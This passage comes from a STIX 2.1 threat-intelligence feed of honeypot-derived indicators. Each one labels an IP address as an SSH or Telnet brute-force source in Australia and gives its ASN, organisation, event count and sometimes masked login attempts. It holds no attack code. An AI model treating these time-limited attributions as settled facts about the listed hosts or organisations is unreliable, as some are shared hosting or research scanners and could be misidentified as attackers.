      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 211680. Organisation(s): Sistemas Informaticos, S.A..",
      "id": "indicator--4caf4fff-c575-439d-a88f-4bd15310f137",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.129.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TH. ASN(s): 45758. Organisation(s): Triple T Broadband Public Company Limited.",
      "id": "indicator--57aca58f-2438-4e73-844e-8eace143be62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.49.195.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IE. ASN(s): 5607. Organisation(s): Sky UK Limited.",
      "id": "indicator--47c0f694-d466-4ede-b20f-ebd210b87325",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.199.166.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--edbd0d4f-f6f2-4a8d-8cb6-7a87724fa014",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--26d783ed-8649-4106-bd1f-a673cb69e09f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--b2c288a5-3948-489c-a234-1a86eeb17e48",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--2a4d3ba7-24a3-4ee6-91cf-f84250854467",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T19:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 213412. Organisation(s): ONYPHE SAS.",
      "id": "indicator--a7bd9725-e481-43b1-ab3d-db6e21486ac1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T19:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T19:15:11.000Z",
      "valid_until": "2026-06-13T19:15:09.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36884. Organisation(s): MAROCCONNECT.",
      "id": "indicator--22e02b56-17ee-4a10-a26a-22fca4cb0e6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.74.194.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b5b3b1c1-a4d4-461f-88d3-4966ce536d0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.209.45.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 22, 23. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--0f2df13e-8a4e-4000-af49-08485ad6a5fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '134.209.23.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 137409. Organisation(s): GSL Networks Pty LTD.",
      "id": "indicator--a7dd7378-94f4-4ff5-8ed5-7d8e8b50be9c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.240.56.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): u****u. Passwords observed (masked): W*********3.",
      "id": "indicator--e1675e91-c655-4d52-8ceb-5e999bdfae2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.22.254.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 14259. Organisation(s): Gtd Internet S.A..",
      "id": "indicator--4928a144-9073-47d4-a1f3-7cdace4fcfb7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.98.253.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: QA. ASN(s): 48728. Organisation(s): Vodafone Qatar P.Q.S.C.",
      "id": "indicator--f69c03c9-6399-4aa8-914a-8538468a12be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '212.70.119.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--bbe8b66d-c8ab-4606-83aa-33f5cc70a641",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '36.27.185.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 272809. Organisation(s): THUNDERNET, C.A..",
      "id": "indicator--2a6ff276-4f34-472b-a69a-dba6dc683ec0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.248.162.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 29975. Organisation(s): VODACOM.",
      "id": "indicator--d5632be6-afc6-424c-b48c-f7730de275e5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.13.152.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 45582. Organisation(s): VAINAVI INDUSTIES LTD, INTERNET SERVICE PROVIDER, INDIA.",
      "id": "indicator--15a1ebb9-6153-4667-82f7-43c001992122",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.118.73.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: EE. ASN(s): 208440. Organisation(s): GmhostGrupp OU.",
      "id": "indicator--207bcc54-7fe1-4bc3-89c0-baa4128ad18c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.129.96.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd..",
      "id": "indicator--fbda7b82-d3f1-4d6b-b87c-a75cf688b5b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.236.141.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom.",
      "id": "indicator--f12963c4-a036-4d14-a3ba-c32178c282be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.105.198.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 178. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PT. ASN(s): 2860. Organisation(s): Nos Comunicacoes, S.A.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*******1, 3***********4, 3**********4, @***&, L******o.",
      "id": "indicator--02f764d8-101d-48c1-aa01-d57f1a2f7bca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.152.179.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 22. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398101. Organisation(s): GoDaddy.com, LLC.",
      "id": "indicator--ec97020c-b6c9-4028-9dc5-1a4e9fd6f39c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.204.128.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T20:15:34.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 11949. Organisation(s): COZAD TELEPHONE COMPANY.",
      "id": "indicator--24114aa3-a564-4f58-b083-59a2dc842a38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T20:15:34.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '96.47.103.114']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T20:15:34.000Z",
      "valid_until": "2026-06-13T20:15:08.000Z"
    },
    {
      "created": "2026-05-12T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 35. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t. Passwords observed (masked): a***n, r**t.",
      "id": "indicator--56cc4d33-9b6c-4306-b8ac-b7dac4b3aa05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.120.97.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T21:15:11.000Z",
      "valid_until": "2026-06-13T21:15:08.000Z"
    },
    {
      "created": "2026-05-12T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 273813. Organisation(s): SUA FIBRA TELECOMUNICACOES LTDA.",
      "id": "indicator--81f96c77-d249-46cc-96a0-9fe09a618ae4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.8.70.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T21:15:11.000Z",
      "valid_until": "2026-06-13T21:15:08.000Z"
    },
    {
      "created": "2026-05-12T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--6f9d2c63-f77c-4388-a626-ad06469aaa92",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '195.201.140.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T21:15:11.000Z",
      "valid_until": "2026-06-13T21:15:08.000Z"
    },
    {
      "created": "2026-05-12T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--fc0f1455-1436-4447-8632-d3dca1fd6776",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T21:15:11.000Z",
      "valid_until": "2026-06-13T21:15:08.000Z"
    },
    {
      "created": "2026-05-12T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 132203. Organisation(s): Tencent Building, Kejizhongyi Avenue. Usernames observed (masked): ***. Passwords observed (masked): ***.",
      "id": "indicator--66929be4-8eee-41a0-9430-1e1b101ae524",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.165.3.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T21:15:11.000Z",
      "valid_until": "2026-06-13T21:15:08.000Z"
    },
    {
      "created": "2026-05-12T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PK. ASN(s): 205759. Organisation(s): Ghosty Networks LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--ec581862-16bc-464e-89ef-cb22341c108a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.228.157.165']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T21:15:11.000Z",
      "valid_until": "2026-06-13T21:15:08.000Z"
    },
    {
      "created": "2026-05-12T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 37963. Organisation(s): Hangzhou Alibaba Advertising Co.,Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--423bd295-f2cf-4a66-bdd6-2533d80ab3c9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.104.226.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T21:15:11.000Z",
      "valid_until": "2026-06-13T21:15:08.000Z"
    },
    {
      "created": "2026-05-12T21:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 16276. Organisation(s): OVH SAS.",
      "id": "indicator--6c9a074c-7ef6-4e40-a780-529de4882954",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.68.126.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T21:15:11.000Z",
      "valid_until": "2026-06-13T21:15:08.000Z"
    },
    {
      "created": "2026-05-12T21:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KZ. ASN(s): 43370. Organisation(s): OBIT-telecommunications, LLC.",
      "id": "indicator--5d4be946-fb23-413e-adc2-eeabaa5fae86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T21:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '62.32.84.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T21:15:11.000Z",
      "valid_until": "2026-06-13T21:15:08.000Z"
    },
    {
      "created": "2026-05-12T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 13999. Organisation(s): Mega Cable, S.A. de C.V..",
      "id": "indicator--138a050c-afd5-455a-845a-d4b93bc95d6e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.230.184.151']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T22:15:10.000Z",
      "valid_until": "2026-06-13T22:15:08.000Z"
    },
    {
      "created": "2026-05-12T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 48. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 13285. Organisation(s): TalkTalk.",
      "id": "indicator--71da7303-a97f-411d-9340-fb5180a8ced3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-12T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '2.103.144.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-12T22:15:10.000Z",
      "valid_until": "2026-06-13T22:15:08.000Z"
    },
    {
      "created": "2026-05-12T22:15:10.000Z",
